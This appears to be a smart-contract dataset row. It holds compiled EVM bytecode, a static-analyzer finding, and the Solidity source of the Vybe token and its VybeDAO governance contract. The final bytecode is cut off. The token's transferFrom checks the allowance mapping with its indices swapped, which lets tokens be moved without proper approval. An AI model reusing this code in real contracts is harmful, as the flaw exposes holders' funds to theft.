02082015290565b80356103d881611a37565b80356103d881611a4b565b80356103d881611a54565b80356103d881611a5d565b6000602082840312156112d857600080fd5b60006112e4848461129a565b949350505050565b600080604083850312156112ff57600080fd5b600061130b858561129a565b925050602061131c8582860161129a565b9150509250929050565b60008060006060848603121561133b57600080fd5b6000611347868661129a565b93505060206113588682870161129a565b9250506040611369868287016112a5565b9150509250925092565b6000806040838503121561138657600080fd5b6000611392858561129a565b925050602061131c858286016112a5565b60008060008060008060c087890312156113bc57600080fd5b60006113c8898961129a565b96505060206113d989828a016112a5565b95505060406113ea89828a016112a5565b94505060606113fb89828a016112bb565b935050608061140c89828a016112a5565b92505060a061141d89828a016112a5565b9150509295509295509295565b6000806040838503121561143d57600080fd5b6000611449858561129a565b925050602061131c858286016112b0565b611463816119bc565b82525050565b611463816119c7565b611463816119cc565b611463611487826119cc565b6119cc565b6000611497826119aa565b6114a181856119ae565b93506114b1818560208601611a01565b6114ba81611a2d565b9093019392505050565b60006114d16021836119ae565b7f6765745072696f72566f7465733a206e6f74207965742064657465726d696e658152601960fa1b602082015260400192915050565b60006115146002836119b7565b61190160f01b815260020192915050565b60006115326020836119ae565b7f64656c656761746542795369673a20696e76616c6964207369676e6174757265815260200192915050565b600061156b6020836119ae565b7f64656c656761746542795369673a207369676e61747572652065787069726564815260200192915050565b60006115a46043836119b7565b7f454950373132446f6d61696e28737472696e67206e616d652c75696e7432353681527f20636861696e49642c6164647265737320766572696679696e67436f6e74726160208201526263742960e81b604082015260430192915050565b600061160f6036836119ae565b7f5f7472616e73666572546f6b656e733a2063616e6e6f74207472616e736665728152752066726f6d20746865207a65726f206164647265737360501b602082015260400192915050565b6000611667602e836119ae565b7f436f6e747261637420696e7374616e63652068617320616c726561647920626581526d195b881a5b9a5d1a585b1a5e995960921b602082015260400192915050565b60006116b76034836119ae565b7f5f7472616e73666572546f6b656e733a2063616e6e6f74207472616e7366657281527320746f20746865207a65726f206164647265737360601b602082015260400192915050565b600061170d601c836119ae565b7f64656c656761746542795369673a20696e76616c6964206e6f6e636500000000815260200192915050565b6000611746603a836119b7565b7f44656c65676174696f6e28616464726573732064656c6567617465652c75696e81527f74323536206e6f6e63652c75696e7432353620657870697279290000000000006020820152603a0192915050565b611463816119db565b611463816119e4565b611463816119f6565b611463816119ea565b60006117c782611507565b91506117d3828561147b565b6020820191506117e3828461147b565b5060200192915050565b60006103d882611597565b60006103d882611739565b602081016103d8828461145a565b602081016103d88284611469565b602081016103d88284611472565b6080810161183b8287611472565b611848602083018661145a565b6118556040830185611472565b6118626060830184611472565b95945050505050565b608081016118798287611472565b6118866020830186611472565b6118936040830185611472565b611862606083018461145a565b608081016118ae8287611472565b61184860208301866117a1565b60208082528101610560818461148c565b602080825281016103d8816114c4565b602080825281016103d881611525565b602080825281016103d88161155e565b602080825281016103d881611602565b602080825281016103d88161165a565b602080825281016103d8816116aa565b602080825281016103d881611700565b602081016103d88284611798565b604081016119588285611798565b61056060208301846117b3565b602081016103d882846117a1565b602081016103d882846117aa565b602081016103d882846117b3565b6040810161199d82856117aa565b61056060208301846117aa565b5190565b90815260200190565b919050565b60006103d8826119cf565b151590565b90565b6001600160a01b031690565b63ffffffff1690565b60ff1690565b6001600160601b031690565b60006103d8826119ea565b60005b83811015611a1c578181015183820152602001611a04565b83811115610ecc5750506000910152565b601f01601f191690565b611a40816119bc565b811461059157600080fd5b611a40816119cc565b611a40816119db565b611a40816119e456fe5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f77737472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e63655f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e63655f7772697465436865636b706f696e743a20626c6f636b206e756d626572206578636565647320333220626974735f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f77735f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f7773a365627a7a72315820ab209abd2f3c93d4e7f9cc1a655a27acd59c3975dcd52cbcfbe62509e8e6dc466c6578706572696d656e74616cf564736f6c63430005110040
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 1,637 |
0x9E6a97d3a65BFd1dDC6D15025f985eBc9c8f2b0A
|
pragma solidity 0.7.0;
interface IOwnershipTransferrable {
function transferOwnership(address owner) external;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
}
interface IVybeStake is IOwnershipTransferrable {
event StakeIncreased(address indexed staker, uint256 amount);
event StakeDecreased(address indexed staker, uint256 amount);
event Rewards(address indexed staker, uint256 mintage, uint256 developerFund);
event MelodyAdded(address indexed melody);
event MelodyRemoved(address indexed melody);
function vybe() external returns (address);
function totalStaked() external returns (uint256);
function staked(address staker) external returns (uint256);
function lastClaim(address staker) external returns (uint256);
function addMelody(address melody) external;
function removeMelody(address melody) external;
function upgrade(address owned, address upgraded) external;
}
abstract contract Ownable is IOwnershipTransferrable {
address private _owner;
constructor(address owner) {
_owner = owner;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) override external onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
abstract contract ReentrancyGuard {
bool private _entered;
modifier noReentrancy() {
require(!_entered);
_entered = true;
_;
_entered = false;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Vybe is Ownable {
using SafeMath for uint256;
uint256 constant UINT256_MAX = ~uint256(0);
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor() Ownable(msg.sender) {
_name = "Vybe";
_symbol = "VYBE";
_decimals = 18;
_totalSupply = 2000000 * 1e18;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function name() external view returns (string memory) {
return _name;
}
function symbol() external view returns (string memory) {
return _symbol;
}
function decimals() external view returns (uint8) {
return _decimals;
}
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) external view returns (uint256) {
return _allowances[owner][spender];
}
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function approve(address spender, uint256 amount) external returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
_transfer(sender, recipient, amount);
if (_allowances[msg.sender][sender] != UINT256_MAX) {
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0));
require(recipient != address(0));
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0));
require(spender != address(0));
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function mint(address account, uint256 amount) external onlyOwner {
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function burn(uint256 amount) external returns (bool) {
_balances[msg.sender] = _balances[msg.sender].sub(amount);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(msg.sender, address(0), amount);
return true;
}
}
contract VybeDAO is ReentrancyGuard {
using SafeMath for uint256;
// Proposal fee of 10 VYBE. Used to prevent spam
uint256 constant PROPOSAL_FEE = 10 * 1e18;
event NewProposal(uint64 indexed proposal);
event FundProposed(uint64 indexed proposal, address indexed destination, uint256 amount);
event MelodyAdditionProposed(uint64 indexed proposal, address melody);
event MelodyRemovalProposed(uint64 indexed proposal, address melody);
event StakeUpgradeProposed(uint64 indexed proposal, address newStake);
event DAOUpgradeProposed(uint64 indexed proposal, address newDAO);
event ProposalVoteAdded(uint64 indexed proposal, address indexed staker);
event ProposalVoteRemoved(uint64 indexed proposal, address indexed staker);
event ProposalPassed(uint64 indexed proposal);
event ProposalRemoved(uint64 indexed proposal);
enum ProposalType { Null, Fund, MelodyAddition, MelodyRemoval, StakeUpgrade, DAOUpgrade }
struct ProposalMetadata {
ProposalType pType;
// Allows the creator to withdraw the proposal
address creator;
// Used to mark proposals older than 30 days as invalid
uint256 submitted;
// Stakers who voted yes
mapping(address => bool) stakers;
// Whether or not the proposal is completed
// Stops it from being acted on multiple times
bool completed;
}
// The info string is intended for an URL to describe the proposal
struct FundProposal {
address destination;
uint256 amount;
string info;
}
struct MelodyAdditionProposal {
address melody;
string info;
}
struct MelodyRemovalProposal {
address melody;
string info;
}
struct StakeUpgradeProposal {
address newStake;
// List of addresses owned by the Stake contract
address[] owned;
string info;
}
struct DAOUpgradeProposal {
address newDAO;
string info;
}
mapping(uint64 => ProposalMetadata) public proposals;
mapping(uint64 => mapping(address => bool)) public used;
mapping(uint64 => FundProposal) public _fundProposals;
mapping(uint64 => MelodyAdditionProposal) public _melodyAdditionProposals;
mapping(uint64 => MelodyRemovalProposal) public _melodyRemovalProposals;
mapping(uint64 => StakeUpgradeProposal) public _stakeUpgradeProposals;
mapping(uint64 => DAOUpgradeProposal) public _daoUpgradeProposals;
// Address of the DAO we upgraded to
address _upgrade;
// ID to use for the next proposal
uint64 _nextProposalID;
IVybeStake private _stake;
Vybe private _VYBE;
// Check the proposal is valid
modifier pendingProposal(uint64 proposal) {
require(proposals[proposal].pType != ProposalType.Null);
require(!proposals[proposal].completed);
// Don't allow old proposals to suddenly be claimed
require(proposals[proposal].submitted + 30 days > block.timestamp);
_;
}
// Check this contract hasn't been replaced
modifier active() {
require(_upgrade == address(0));
_;
}
constructor(address stake) {
_stake = IVybeStake(stake);
_VYBE = Vybe(_stake.vybe());
}
function upgraded() external view returns (bool) {
return _upgrade != address(0);
}
function upgrade() external view returns (address) {
return _upgrade;
}
function stake() external view returns (address) {
return address(_stake);
}
function _createNewProposal(ProposalType pType) internal active returns (uint64) {
// Make sure this isn't spam by transferring the proposal fee
require(_VYBE.transferFrom(msg.sender, address(this), PROPOSAL_FEE));
// Increment the next proposal ID now
// Means we don't have to return a value we subtract one from later
_nextProposalID += 1;
emit NewProposal(_nextProposalID);
// Set up the proposal's metadata
ProposalMetadata storage meta = proposals[_nextProposalID];
meta.pType = pType;
meta.creator = msg.sender;
meta.submitted = block.timestamp;
// Automatically vote for the proposal's creator
meta.stakers[msg.sender] = true;
emit ProposalVoteAdded(_nextProposalID, msg.sender);
return _nextProposalID;
}
function proposeFund(address destination, uint256 amount, string calldata info) external returns (uint64) {
uint64 proposalID = _createNewProposal(ProposalType.Fund);
_fundProposals[proposalID] = FundProposal(destination, amount, info);
emit FundProposed(proposalID, destination, amount);
return proposalID;
}
function proposeMelodyAddition(address melody, string calldata info) external returns (uint64) {
uint64 proposalID = _createNewProposal(ProposalType.MelodyAddition);
_melodyAdditionProposals[proposalID] = MelodyAdditionProposal(melody, info);
emit MelodyAdditionProposed(proposalID, melody);
return proposalID;
}
function proposeMelodyRemoval(address melody, string calldata info) external returns (uint64) {
uint64 proposalID = _createNewProposal(ProposalType.MelodyRemoval);
_melodyRemovalProposals[proposalID] = MelodyRemovalProposal(melody, info);
emit MelodyRemovalProposed(proposalID, melody);
return proposalID;
}
function proposeStakeUpgrade(address newStake, address[] calldata owned, string calldata info) external returns (uint64) {
uint64 proposalID = _createNewProposal(ProposalType.StakeUpgrade);
// Ensure the VYBE token was included as an owned contract
for (uint i = 0; i < owned.length; i++) {
if (owned[i] == address(_VYBE)) {
break;
}
require(i != owned.length - 1);
}
_stakeUpgradeProposals[proposalID] = StakeUpgradeProposal(newStake, owned, info);
emit StakeUpgradeProposed(proposalID, newStake);
return proposalID;
}
function proposeDAOUpgrade(address newDAO, string calldata info) external returns (uint64) {
uint64 proposalID = _createNewProposal(ProposalType.DAOUpgrade);
_daoUpgradeProposals[proposalID] = DAOUpgradeProposal(newDAO, info);
emit DAOUpgradeProposed(proposalID, newDAO);
return proposalID;
}
function addVote(uint64 proposalID) external active pendingProposal(proposalID) {
proposals[proposalID].stakers[msg.sender] = true;
emit ProposalVoteAdded(proposalID, msg.sender);
}
function removeVote(uint64 proposalID) external active pendingProposal(proposalID) {
proposals[proposalID].stakers[msg.sender] = false;
emit ProposalVoteRemoved(proposalID, msg.sender);
}
// Send the VYBE held by this contract to what it upgraded to
// Intended to enable a contract like the timelock, if transferred to this
// Without this, it'd be trapped here, forever
function forwardVYBE() public {
require(_upgrade != address(0));
require(_VYBE.transfer(_upgrade, _VYBE.balanceOf(address(this))));
}
// Complete a proposal
// Takes in a list of stakers so this contract doesn't have to track them all in an array
// This would be extremely expensive as a stakers vote weight can drop to 0
// This selective process allows only counting meaningful votes
function completeProposal(uint64 proposalID, address[] calldata stakers) external active pendingProposal(proposalID) noReentrancy {
ProposalMetadata storage meta = proposals[proposalID];
uint256 requirement;
// Only require a majority vote for a funding request/to remove a melody
if ((meta.pType == ProposalType.Fund) || (meta.pType == ProposalType.MelodyRemoval)) {
requirement = _stake.totalStaked().div(2).add(1);
// Require >66% to add a new melody
// Adding an insecure or malicious melody will cause the staking pool to be drained
} else if (meta.pType == ProposalType.MelodyAddition) {
requirement = _stake.totalStaked().div(3).mul(2).add(1);
// Require >80% to upgrade the stake/DAO contract
// Upgrading to an insecure or malicious contract risks unlimited minting
} else if ((meta.pType == ProposalType.StakeUpgrade) || (meta.pType == ProposalType.DAOUpgrade)) {
requirement = _stake.totalStaked().div(5).mul(4).add(1);
// Panic in case the enum is expanded and not properly handled here
} else {
require(false);
}
// Make sure there's enough vote weight behind this proposal
uint256 votes = 0;
for (uint i = 0; i < stakers.length; i++) {
// Don't allow people to vote with flash loans
if (_stake.lastClaim(stakers[i]) == block.timestamp) {
continue;
}
require(meta.stakers[stakers[i]]);
require(!used[proposalID][stakers[i]]);
used[proposalID][stakers[i]] = true;
votes = votes.add(_stake.staked(stakers[i]));
}
require(votes >= requirement);
meta.completed = true;
emit ProposalPassed(proposalID);
if (meta.pType == ProposalType.Fund) {
FundProposal memory proposal = _fundProposals[proposalID];
require(_VYBE.transfer(proposal.destination, proposal.amount));
} else if (meta.pType == ProposalType.MelodyAddition) {
_stake.addMelody(_melodyAdditionProposals[proposalID].melody);
} else if (meta.pType == ProposalType.MelodyRemoval) {
_stake.removeMelody(_melodyRemovalProposals[proposalID].melody);
} else if (meta.pType == ProposalType.StakeUpgrade) {
StakeUpgradeProposal memory proposal = _stakeUpgradeProposals[proposalID];
for (uint i = 0; i < proposal.owned.length; i++) {
_stake.upgrade(proposal.owned[i], proposal.newStake);
}
// Register the new staking contract as a melody so it can move the funds over
_stake.addMelody(address(proposal.newStake));
_stake = IVybeStake(proposal.newStake);
} else if (meta.pType == ProposalType.DAOUpgrade) {
_upgrade = _daoUpgradeProposals[proposalID].newDAO;
_stake.transferOwnership(_upgrade);
forwardVYBE();
} else {
require(false);
}
}
// Voluntarily withdraw a proposal
function withdrawProposal(uint64 proposalID) external active pendingProposal(proposalID) {
require(proposals[proposalID].creator == msg.sender);
proposals[proposalID].completed = true;
emit ProposalRemoved(proposalID);
}
}
|
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c80637e8de02e116100ad578063d55ec69711610071578063d55ec697146106c2578063d979c4aa146106ca578063da6aaeab146106f0578063df7400cb14610716578063eb1ea9c6146107945761012c565b80637e8de02e146105b657806380a5bdfb146105dc578063a76cf56e14610602578063c28de2cd14610628578063d37b7fa6146106445761012c565b80633a4b66f1116100f45780633a4b66f1146103865780634c01cb57146103aa5780636bda20341461045857806371fb7cf11461050d5780637586d6ce146105905761012c565b806307e9bf5b14610131578063198743561461013b57806319db3f2a146101d55780631d6ec3561461025357806331c5eec814610321575b600080fd5b6101396107c9565b005b6101b96004803603604081101561015157600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561017b57600080fd5b82018360208201111561018d57600080fd5b803590602001918460018302840111600160201b831117156101ae57600080fd5b5090925090506108e8565b604080516001600160401b039092168252519081900360200190f35b610139600480360360408110156101eb57600080fd5b6001600160401b038235169190810190604081016020820135600160201b81111561021557600080fd5b82018360208201111561022757600080fd5b803590602001918460208302840111600160201b8311171561024857600080fd5b5090925090506109e9565b6101b96004803603606081101561026957600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561029357600080fd5b8201836020820111156102a557600080fd5b803590602001918460208302840111600160201b831117156102c657600080fd5b919390929091602081019035600160201b8111156102e357600080fd5b8201836020820111156102f557600080fd5b803590602001918460018302840111600160201b8311171561031657600080fd5b509092509050611522565b6103476004803603602081101561033757600080fd5b50356001600160401b03166116da565b6040518085600581111561035757fe5b81526001600160a01b039094166020850152506040808401929092521515606083015251908190036080019150f35b61038e611711565b604080516001600160a01b039092168252519081900360200190f35b6103d0600480360360208110156103c057600080fd5b50356001600160401b0316611720565b60405180836001600160a01b0316815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561041c578181015183820152602001610404565b50505050905090810190601f1680156104495780820380516001836020036101000a031916815260200191505b50935050505060405180910390f35b61047e6004803603602081101561046e57600080fd5b50356001600160401b03166117d4565b60405180846001600160a01b0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156104d05781810151838201526020016104b8565b50505050905090810190601f1680156104fd5780820380516001836020036101000a031916815260200191505b5094505050505060405180910390f35b6101b96004803603606081101561052357600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561055257600080fd5b82018360208201111561056457600080fd5b803590602001918460018302840111600160201b8311171561058557600080fd5b50909250905061188a565b610139600480360360208110156105a657600080fd5b50356001600160401b03166119a1565b610139600480360360208110156105cc57600080fd5b50356001600160401b0316611ac9565b6103d0600480360360208110156105f257600080fd5b50356001600160401b0316611bc9565b6101396004803603602081101561061857600080fd5b50356001600160401b0316611c48565b610630611d4d565b604080519115158252519081900360200190f35b6101b96004803603604081101561065a57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561068457600080fd5b82018360208201111561069657600080fd5b803590602001918460018302840111600160201b831117156106b757600080fd5b509092509050611d5e565b61038e611e5f565b6103d0600480360360208110156106e057600080fd5b50356001600160401b0316611e6e565b6103d06004803603602081101561070657600080fd5b50356001600160401b0316611ee9565b6101b96004803603604081101561072c57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561075657600080fd5b82018360208201111561076857600080fd5b803590602001918460018302840111600160201b8311171561078957600080fd5b509092509050611f68565b610630600480360360408110156107aa57600080fd5b5080356001600160401b031690602001356001600160a01b0316612069565b6008546001600160a01b03166107de57600080fd5b600a54600854604080516370a0823160e01b815230600482015290516001600160a01b039384169363a9059cbb93169184916370a0823191602480820192602092909190829003018186803b15801561083657600080fd5b505afa15801561084a573d6000803e3d6000fd5b505050506040513d602081101561086057600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b03909316600484015260248301919091525160448083019260209291908290030181600087803b1580156108b157600080fd5b505af11580156108c5573d6000803e3d6000fd5b505050506040513d60208110156108db57600080fd5b50516108e657600080fd5b565b6000806108f56003612089565b90506040518060400160405280866001600160a01b0316815260200185858080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201829052509390945250506001600160401b0384168152600560209081526040909120835181546001600160a01b0319166001600160a01b039091161781558382015180519193506109979260018501929101906122e8565b5050604080516001600160a01b038816815290516001600160401b03841692507f339826f1c3d7b31c2395903a0738e18e4c9463f3d6749d47e35a9feb2344e8db9181900360200190a2949350505050565b6008546001600160a01b0316156109ff57600080fd5b8260006001600160401b03821660009081526001602052604090205460ff166005811115610a2957fe5b1415610a3457600080fd5b6001600160401b03811660009081526001602052604090206003015460ff1615610a5d57600080fd5b6001600160401b038116600090815260016020819052604090912001544262278d0090910111610a8c57600080fd5b60005460ff1615610a9c57600080fd5b6000805460ff1916600190811782556001600160401b03861682526020819052604082209190825460ff166005811115610ad257fe5b1480610aed57506003825460ff166005811115610aeb57fe5b145b15610b8b57610b846001610b7e6002600960009054906101000a90046001600160a01b03166001600160a01b031663817b1cd26040518163ffffffff1660e01b8152600401602060405180830381600087803b158015610b4c57600080fd5b505af1158015610b60573d6000803e3d6000fd5b505050506040513d6020811015610b7657600080fd5b505190612284565b906122a8565b9050610c99565b6002825460ff166005811115610b9d57fe5b1415610c0857610b846001610b7e6002610c026003600960009054906101000a90046001600160a01b03166001600160a01b031663817b1cd26040518163ffffffff1660e01b8152600401602060405180830381600087803b158015610b4c57600080fd5b906122c1565b6004825460ff166005811115610c1a57fe5b1480610c3557506005825460ff166005811115610c3357fe5b145b1561012c57610b846001610b7e6004610c026005600960009054906101000a90046001600160a01b03166001600160a01b031663817b1cd26040518163ffffffff1660e01b8152600401602060405180830381600087803b158015610b4c57600080fd5b6000805b85811015610ee45760095442906001600160a01b0316635c16e15e898985818110610cc457fe5b905060200201356001600160a01b03166040518263ffffffff1660e01b815260040180826001600160a01b03168152602001915050602060405180830381600087803b158015610d1357600080fd5b505af1158015610d27573d6000803e3d6000fd5b505050506040513d6020811015610d3d57600080fd5b50511415610d4a57610edc565b836002016000888884818110610d5c57fe5b602090810292909201356001600160a01b03168352508101919091526040016000205460ff16610d8b57600080fd5b6001600160401b038816600090815260026020526040812090888884818110610db057fe5b602090810292909201356001600160a01b03168352508101919091526040016000205460ff1615610de057600080fd5b6001600160401b0388166000908152600260205260408120600191898985818110610e0757fe5b6001600160a01b0360209182029390930135831684528301939093526040909101600020805493151560ff199094169390931790925550600954610ed991166398807d84898985818110610e5757fe5b905060200201356001600160a01b03166040518263ffffffff1660e01b815260040180826001600160a01b03168152602001915050602060405180830381600087803b158015610ea657600080fd5b505af1158015610eba573d6000803e3d6000fd5b505050506040513d6020811015610ed057600080fd5b505183906122a8565b91505b600101610c9d565b5081811015610ef257600080fd5b60038301805460ff191660011790556040516001600160401b038816907f6085cc60943f0b976690a6f940d11a998d1a616c9469dc9196e763e342ca583f90600090a26001835460ff166005811115610f4757fe5b14156110be57610f55612366565b6001600160401b038816600090815260036020908152604091829020825160608101845281546001600160a01b03168152600180830154828501526002808401805487516101009482161594909402600019011691909104601f8101869004860283018601875280835292959394938601939192909183018282801561101c5780601f10610ff15761010080835404028352916020019161101c565b820191906000526020600020905b815481529060010190602001808311610fff57829003601f168201915b505050919092525050600a5482516020808501516040805163a9059cbb60e01b81526001600160a01b039485166004820152602481019290925251959650919092169363a9059cbb9350604480830193928290030181600087803b15801561108357600080fd5b505af1158015611097573d6000803e3d6000fd5b505050506040513d60208110156110ad57600080fd5b50516110b857600080fd5b5061150f565b6002835460ff1660058111156110d057fe5b1415611159576009546001600160401b038816600090815260046020819052604080832054815163791cbf9f60e11b81526001600160a01b0391821693810193909352905193169263f2397f3e9260248084019391929182900301818387803b15801561113c57600080fd5b505af1158015611150573d6000803e3d6000fd5b5050505061150f565b6003835460ff16600581111561116b57fe5b14156111d3576009546001600160401b0388166000908152600560205260408082205481516316d4489b60e11b81526001600160a01b0391821660048201529151931692632da891369260248084019391929182900301818387803b15801561113c57600080fd5b6004835460ff1660058111156111e557fe5b1415611460576111f3612390565b6001600160401b038816600090815260066020908152604091829020825160608101845281546001600160a01b031681526001820180548551818602810186019096528086529194929385810193929083018282801561127c57602002820191906000526020600020905b81546001600160a01b0316815260019091019060200180831161125e575b5050509183525050600282810180546040805160206001841615610100026000190190931694909404601f8101839004830285018301909152808452938101939083018282801561130e5780601f106112e35761010080835404028352916020019161130e565b820191906000526020600020905b8154815290600101906020018083116112f157829003601f168201915b505050505081525050905060005b8160200151518110156113d057600954602083015180516001600160a01b03909216916399a88ec491908490811061135057fe5b602002602001015184600001516040518363ffffffff1660e01b815260040180836001600160a01b03168152602001826001600160a01b0316815260200192505050600060405180830381600087803b1580156113ac57600080fd5b505af11580156113c0573d6000803e3d6000fd5b50506001909201915061131c9050565b5060095481516040805163791cbf9f60e11b81526001600160a01b0392831660048201529051919092169163f2397f3e91602480830192600092919082900301818387803b15801561142157600080fd5b505af1158015611435573d6000803e3d6000fd5b50509151600980546001600160a01b0319166001600160a01b039092169190911790555061150f9050565b6005835460ff16600581111561147257fe5b141561012c576001600160401b03871660009081526007602052604080822054600880546001600160a01b0319166001600160a01b039283161790819055600954835163f2fde38b60e01b815291831660048301529251929091169263f2fde38b9260248084019382900301818387803b1580156114ef57600080fd5b505af1158015611503573d6000803e3d6000fd5b5050505061150f6107c9565b50506000805460ff191690555050505050565b60008061152f6004612089565b905060005b8581101561159157600a546001600160a01b031687878381811061155457fe5b905060200201356001600160a01b03166001600160a01b0316141561157857611591565b600019860181141561158957600080fd5b600101611534565b506040518060600160405280886001600160a01b03168152602001878780806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250505090825250604080516020601f88018190048102820181019092528681529181019190879087908190840183828082843760009201829052509390945250506001600160401b0384168152600660209081526040909120835181546001600160a01b0319166001600160a01b0390911617815583820151805191935061166a9260018501929101906123ba565b50604082015180516116869160028401916020909101906122e8565b5050604080516001600160a01b038a16815290516001600160401b03841692507ffd08ecdf1b11b329fffd11e68af1d1f874ca2e56aa45a1e13065e6cc26373b2c9181900360200190a29695505050505050565b600160208190526000918252604090912080549181015460039091015460ff8084169361010090046001600160a01b031692911684565b6009546001600160a01b031690565b6004602090815260009182526040918290208054600180830180548651600261010094831615949094026000190190911692909204601f81018690048602830186019096528582526001600160a01b039092169492939092908301828280156117ca5780601f1061179f576101008083540402835291602001916117ca565b820191906000526020600020905b8154815290600101906020018083116117ad57829003601f168201915b5050505050905082565b60036020908152600091825260409182902080546001808301546002808501805488516101009582161595909502600019011691909104601f81018790048702840187019097528683526001600160a01b039093169590949192918301828280156118805780601f1061185557610100808354040283529160200191611880565b820191906000526020600020905b81548152906001019060200180831161186357829003601f168201915b5050505050905083565b6000806118976001612089565b90506040518060600160405280876001600160a01b0316815260200186815260200185858080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201829052509390945250506001600160401b038416815260036020908152604091829020845181546001600160a01b0319166001600160a01b0390911617815584820151600182015591840151805192935061194b92600285019291909101906122e8565b50506040805187815290516001600160a01b03891692506001600160401b038416917fc6befa0284988cf06a62f33e703b26fa8fe104aff100ff179eb9b02174018530919081900360200190a395945050505050565b6008546001600160a01b0316156119b757600080fd5b8060006001600160401b03821660009081526001602052604090205460ff1660058111156119e157fe5b14156119ec57600080fd5b6001600160401b03811660009081526001602052604090206003015460ff1615611a1557600080fd5b6001600160401b038116600090815260016020819052604090912001544262278d0090910111611a4457600080fd5b6001600160401b03821660009081526001602052604090205461010090046001600160a01b03163314611a7657600080fd5b6001600160401b0382166000818152600160208190526040808320600301805460ff1916909217909155517f9253f303ac7bc301d8f26a3c594cf868be86bee4afd53c746f29cc0103a4274f9190a25050565b6008546001600160a01b031615611adf57600080fd5b8060006001600160401b03821660009081526001602052604090205460ff166005811115611b0957fe5b1415611b1457600080fd5b6001600160401b03811660009081526001602052604090206003015460ff1615611b3d57600080fd5b6001600160401b038116600090815260016020819052604090912001544262278d0090910111611b6c57600080fd5b6001600160401b0382166000818152600160209081526040808320338085526002909101909252808320805460ff19169055519092917f55b02b9855e513ee8f9281215332c8cf0f8304cadcdca4e1b3910609797103e691a35050565b6005602090815260009182526040918290208054600180830180548651600261010094831615949094026000190190911692909204601f81018690048602830186019096528582526001600160a01b039092169492939092908301828280156117ca5780601f1061179f576101008083540402835291602001916117ca565b6008546001600160a01b031615611c5e57600080fd5b8060006001600160401b03821660009081526001602052604090205460ff166005811115611c8857fe5b1415611c9357600080fd5b6001600160401b03811660009081526001602052604090206003015460ff1615611cbc57600080fd5b6001600160401b038116600090815260016020819052604090912001544262278d0090910111611ceb57600080fd5b6001600160401b0382166000818152600160208181526040808420338086526002909101909252808420805460ff191690931790925590519092917fc7442600edbdac0b51781946ea453c6ec64fba32dc76e7e711cbe79a15ec5fec91a35050565b6008546001600160a01b0316151590565b600080611d6b6002612089565b90506040518060400160405280866001600160a01b0316815260200185858080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201829052509390945250506001600160401b0384168152600460209081526040909120835181546001600160a01b0319166001600160a01b03909116178155838201518051919350611e0d9260018501929101906122e8565b5050604080516001600160a01b038816815290516001600160401b03841692507f29cd6c86b51064508c60d447e776b80d8c6f25603856be845b6a2abe192a00779181900360200190a2949350505050565b6008546001600160a01b031690565b60066020908152600091825260409182902080546002808301805486516101006001831615026000190190911692909204601f81018690048602830186019096528582526001600160a01b039092169492939092908301828280156117ca5780601f1061179f576101008083540402835291602001916117ca565b6007602090815260009182526040918290208054600180830180548651600261010094831615949094026000190190911692909204601f81018690048602830186019096528582526001600160a01b039092169492939092908301828280156117ca5780601f1061179f576101008083540402835291602001916117ca565b600080611f756005612089565b9050604051806040016040528086600160016